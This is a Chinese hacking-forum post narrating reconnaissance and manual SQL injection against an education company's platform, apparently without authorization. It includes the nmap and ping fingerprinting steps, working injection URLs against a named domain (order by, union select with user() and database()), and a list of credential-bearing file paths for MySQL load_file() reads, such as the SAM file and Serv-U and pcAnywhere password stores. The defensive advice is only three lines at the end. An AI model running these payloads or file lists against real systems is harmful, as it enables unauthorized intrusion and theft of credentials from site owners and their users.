找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2340|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
, J' K# K( b2 w" R) u7 `一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……" s9 G" @- V; |8 S3 r
第一步:获取需要的信息9 u+ d- T/ x# a' g7 g
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
8 `$ K: c' v# |- C3 ?注:以下为保护特用XXX代替敏感信息# o( v( Q. Q$ K- m3 O% i
顺手先PING了一下他们的域名:
* b7 z+ o) x5 l; _! sping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)/ f+ d% m, b2 g2 n7 a3 q/ S( [
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms9 p$ b6 R1 M& a4 t0 t
顺便了解一下TTL,学好基础知识才能一路顺风:
) Y. j1 _/ B$ d6 l. D# z: w1 U3 oTTL:(Time To Live ) 生存时间
3 P+ b" ~. I0 ^8 E7 R指定数据包被路由器丢弃之前允许通过的网段数量。9 s% s  j0 _4 _& l4 N9 q+ J, j
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。) d: n; T1 b7 T
使用PING时涉及到的 ICMP 报文类型) s$ J, C9 |5 O. f) ?
一个为ICMP请求回显(ICMP Echo Request)! h& k- f6 P; z6 |8 C; T1 b9 S
一个为ICMP回显应答(ICMP Echo Reply)8 O+ P# \& `" b/ A
TTL 字段值可以帮助我们识别操作系统类型。! \% z# t! H; O0 f9 A* y. B
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255& e" N1 s3 i1 P, F8 b% i
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64* B2 q( B3 @; o: a" {
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. L7 _5 y2 p$ s6 N8 ]1 l
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
! b' z9 w  D; G! c+ m5 _' [) _当然,返回的TTL值是相同的
: F- k9 \1 V) ~3 w: `! S3 z& k+ n但有些情况下有所特殊
- M$ x% a# g  A5 R2 k+ V' CLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
: o; w3 ~7 s2 a. T7 zFreeBSD 4.1, 4.0, 3.4;
: f9 q) }6 j0 c- eSun Solaris 2.5.1, 2.6, 2.7, 2.8;
) t" f. o) Y/ E, e) h4 b2 b0 u* EOpenBSD 2.6, 2.7,) E. H0 _: h$ @3 g( N/ f4 B5 A
NetBSD
  E. g" R& h: ], v* u& sHP UX 10.20
% G- A% A  h2 ]; c9 b+ W% ^ICMP 回显应答的 TTL 字段值为 255
$ y) }- z% A$ |; L* X$ x3 |% ?Windows 95/98/98SE2 |9 M4 W% J4 D* w- b; _
Windows ME
6 b1 B1 Z  C( }  iICMP 回显应答的 TTL 字段值为 32( x1 Z! k1 C0 p
Windows NT4 WRKS  P8 w  ]' ?' J+ B' j& h- I: U
Windows NT4 Server
, j8 C2 I0 w0 U* ~6 L/ }- m! T7 UWindows 20005 g3 j: O. z9 m, r  ^5 n
Windows XP/ ?7 f, ]( R: a& w% V- }
ICMP 回显应答的 TTL 字段值为 128
/ m( v$ ~+ G. K. k) G/ S- v- L$ u这样,我们就可以通过这种方法来辨别操作系统. s) n6 D  M. N5 c- r  D: ?
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
" T; |& j! o, k" ~1 p用NMAP扫描一下:
5 y7 ?9 h/ h. rnmap -sT -O XXX.XXX.XXX.XXX! m4 N  h1 Y+ `0 z
如果没有装WinPcap则会弹出提示:
' c+ F8 U: L% {8 U" b  I0 @WARNING: Could not import all necessary WinPcap functions.  You may need to upgr2 O! ]) c5 i9 f+ q
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
: d4 w5 ?5 b, O$ ?1 m) mode — Nmap may not function completely
/ M- g- u: w- L1 W, G& Z7 ~TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
: {5 g5 N1 p* \+ O/ t5 `and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win# u/ d; Q4 e  t* {
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
* S5 A" ]* x' m7 i6 a; n9 ed later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
" |4 f) F( k$ s8 cersions, you may be able to take iphlpapi.dll from another system and place it i
: l+ O" t  |7 S0 _- |$ An your system32 dir (e.g. c:\windows\system32).( N! C4 Z: J, O! i) n5 M
QUITTING!
. y! b* L6 W& ?到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
0 ?4 j% i  I& g( F, E安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:% }7 t5 E% J, z& F9 o+ c
Interesting ports on XXX.XXX.XXX.XXX:
+ P, h1 j+ H3 E3 B& v% U! c3 rNot shown: 986 closed ports$ ~" l+ t% I8 A7 }3 i
PORT     STATE    SERVICE
4 |' l+ B4 J  ^2 T/ g21/tcp   open     ftp+ ^" U% o, G; I" |
22/tcp   open     ssh
* X8 P3 l+ k' O$ q5 X% x- |. X/ t) E23/tcp   open     telnet1 @! a: q% P* P* [% B* v- T
80/tcp   open     http5 _3 n8 t# P3 O5 s4 @
111/tcp  open     rpcbind
4 _- J; i/ d. }& q" |135/tcp  filtered msrpc) Z) t9 O. [  E- g/ \
139/tcp  filtered netbios-ssn
3 v+ p9 A( x3 K& K" A; u445/tcp  filtered microsoft-ds8 z+ i2 Q* p4 e7 V
513/tcp  open     login% t7 x9 E# Y  z4 v( s
514/tcp  open     shell; M7 s" M$ F- n! S! E9 b9 H
593/tcp  filtered http-rpc-epmap; ~  t$ R" u. [
1720/tcp filtered H.323/Q.931
, w. w% U; V$ b8 J/ t$ t  ^3306/tcp open     mysql
1 z, L+ b3 x. T. B& `1 Z4444/tcp filtered krb524
" o2 c; A7 q  c/ fDevice type: WAP
" }& x0 V4 d  i- s+ qRunning: Linux 2.4.X6 u# F0 [: D) z$ _" A; ^' Q4 `- s
OS details: DD-WRT (Linux 2.4.35s)
& G0 i+ j' y' v. I; |Network Distance: 13 hops1 C6 w7 F1 i# k6 A
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:9 J0 H4 Z# D$ W
login as:
' J9 ]! a0 u3 z5 x% W, XTelnet23端口也是开着的,用telnet 命令链接一下:
" z& ^( C2 I9 itelnet XXX.XXX.XXX.XXX. I0 F: x- T+ O& t# j/ N
提示:7 @' ~- M* B& Y2 L& F8 i/ {3 B
Red Hat Enterprise Linux Server release 5.2 (Tikanga)! C5 d  r/ l+ i; K
Kernel 2.6.18-92.el5PAE on an i686
! l+ |9 |* y3 h7 Llogin:7 s+ D1 Y5 C$ p& @! U
获取HTTP头信息:
9 n. p, y5 ?5 D. N" b  Y( Y6 Y在本地执行如下PHP代码
6 K$ D8 q" A) ]: I6 r; \+ o<?php' S, y9 F. N  p
$url = ‘XXX.XXX.XXX.XXX’;1 q; A2 i6 l  ^0 Z% B* e
print_r(get_headers($url));% n& o* e7 l& f- [  p
print_r(get_headers($url, 1));
- C8 e" Q- ^7 u; h2 A! F0 m?>
# b; [- N9 W2 m; j6 A5 C1 @7 S0 F将以上代码保存为PHP文件,执行:
3 k! X5 E. K' P* zArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )9 D; H; y/ m9 L% L- w2 n1 ?3 r
现在可以得出结论:
+ N9 M* @& L) d( `1 _系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
$ d; m' s( W( `* I6 }内核版本:Kernel 2.6.18-92.el5PAE on an i686
" n. _+ D( H& ]1 A9 uWEB服务器版本:nginx/0.7.61, E) b0 ~+ Z8 A) \0 s* g: [7 N
第二步,开始测试寻找漏洞
2 ~0 e. d, w9 F9 D分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
0 p( V, a+ L) e' }% x! P. b( v1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的! T# ~4 h  c& Q1 L5 Y
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试/ K# }# v( A; c* {& T9 v; e
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常3 a) }. Q7 j& N$ f
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误9 N8 o/ Z) W, [; a1 Z
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
+ T; `6 y2 S) R( o3、手工注入:
3 e  T- a* e5 ]$ N" z* T1 [9 p3 H注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。) |- R0 L$ W, H( j! B' B
3.1 猜测当前表字段数" _- j5 R8 q1 ], n* R+ \0 m
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 102 R6 p& @+ p# j8 M! [2 p! n
此处猜测有个简单的算法,都是有技巧的吗,呵呵. b6 K& @# t# }8 ?- A# d
算法简单如下:4 u% F. v9 W2 H, s
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;/ B4 b$ v9 R. y. C6 W) G( q
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;! T8 P" X- o& F* l
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。0 K0 Y* ^. j: q; _# [. v/ X
以此来判断,是否过界,配合取中算法猜出字段数。
. [; z  L8 s" @' j+ j8 ]4 U( d举例:
+ h6 T/ D' k* r# s( J) L  d' [2 {- ~http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常: ?$ r) U( a! j$ m  x- g  r
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误2 j5 E# I( z6 Q: m" x
此时3则为我们要找的字段数。
) [. V5 V) g& v3.2 配合union联合查询字段在页面所位置
) r1 c. ]- v% B我们已经知道了字段数为3,此时则可以做如下操作:
+ [5 }  a; }/ e6 r  U. Y, Qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3" `, c, ~4 u  o3 ?( D4 h1 v+ T, I

* N) n& \2 ?1 m/ n, N3 \  v这样就可以测试到哪些字段在页面上有所显示了,如图:6 C6 j& G, U3 _& S

* |, I( K1 r8 ?3.3 查敏感信息6 V; S3 A; B! n' N! n
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。! t" x6 d  z2 i0 f* i
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()! b7 Q+ h, i7 G3 ]3 W5 \8 R& Y
3.3.1 先查数据库用户、数据库名,以备后用,如图:( A1 A0 P$ J$ q) K8 D
- k3 M. J8 K' k- E; y6 Y
得到数据库用户为root、数据库名为DBxx;
/ w  F2 c. U- p. h2 v( o5 ~0 h9 D3.3.2 查配置文件4 m  [7 _: B  F3 _3 \3 r& _
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。' g5 z7 @* L, }- C" u# F7 ]
查看文件有一定的条件限制:& Y) A+ r- _+ s  J4 G! c9 u/ K% l
欲读取文件必须在服务器上& _  G/ F7 ~) D8 t/ S  Z: l
必须指定文件完整的路径/ r; Q( \( r- q5 g+ h
必须有权限读取并且文件必须完全可读7 M! |4 D7 c0 O9 Y/ U8 X9 B
欲读取文件必须小于 max_allowed_packet* b* t' m* Y7 }: }( q
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。5 u% ], M1 G; I- E) L  g: S
常用的一些:$ F# F# k" e9 m0 j9 r' k' M
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/ T8 O: ?, m$ i0 ^
/usr/local/apache2/conf/httpd.conf
8 ?  T; I5 b+ V+ o1 h1 J/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 w0 R: y* ^: H: z3 _/usr/local/app/php5/lib/php.ini //PHP相关设置
4 I6 ]  x$ h% N  i/etc/sysconfig/iptables //从中得到防火墙规则策略
# n7 ?9 |. B* `: Z/etc/httpd/conf/httpd.conf // apache配置文件
: W1 b: r/ D1 D. w! a2 T/etc/rsyncd.conf //同步程序配置文件3 C. ~; N; I) a) g& G4 u
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.3 n$ B& f- x% V* X
/etc/my.cnf //mysql的配置文件
5 K$ b+ a2 h1 M& |% I( b' C# @) o/etc/redhat-release //系统版本
* X7 [) x8 e& z# z. \/ w/etc/issue
) Y8 x, j1 t" T/etc/issue.net( T5 P- z& W3 O0 m7 _3 o
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
% @3 x1 E3 ]  X* Q, l4 u$ B4 B* qc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
% O; c& \- N( L9 Z5 j1 _c:\Program Files\Serv-U\ServUDaemon.ini, \( ^$ z, W/ H! G5 C: S, O1 a
c:\windows\my.ini //MYSQL配置文件
1 O4 w& F1 q- M( F" Ec:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件2 Q+ I# \, |/ N6 [( G
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
1 b1 e6 x( X2 L$ j# V2 hc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码- H2 c# L) d4 a2 V1 z) o
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) E2 T6 y5 s; O0 b0 u
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
: g8 B4 r; Z$ q- w% F2 MC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
& B' H4 A) R, x) }//存储了pcAnywhere的登陆密码
( H/ J5 ~3 O. j+ b由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。1 W" f- R. r% t1 A4 E$ v7 V
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。% [# K4 [9 T( P: z
最后:防范措施
3 p' x2 r* x# d5 }0 `" I  W. c1 H4 Q1、修复PHP注入漏洞;
: I  C5 E8 O" H4 {0 e2、Mysql使用普通权限的用户;
& f+ Y5 c/ O' B& t3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表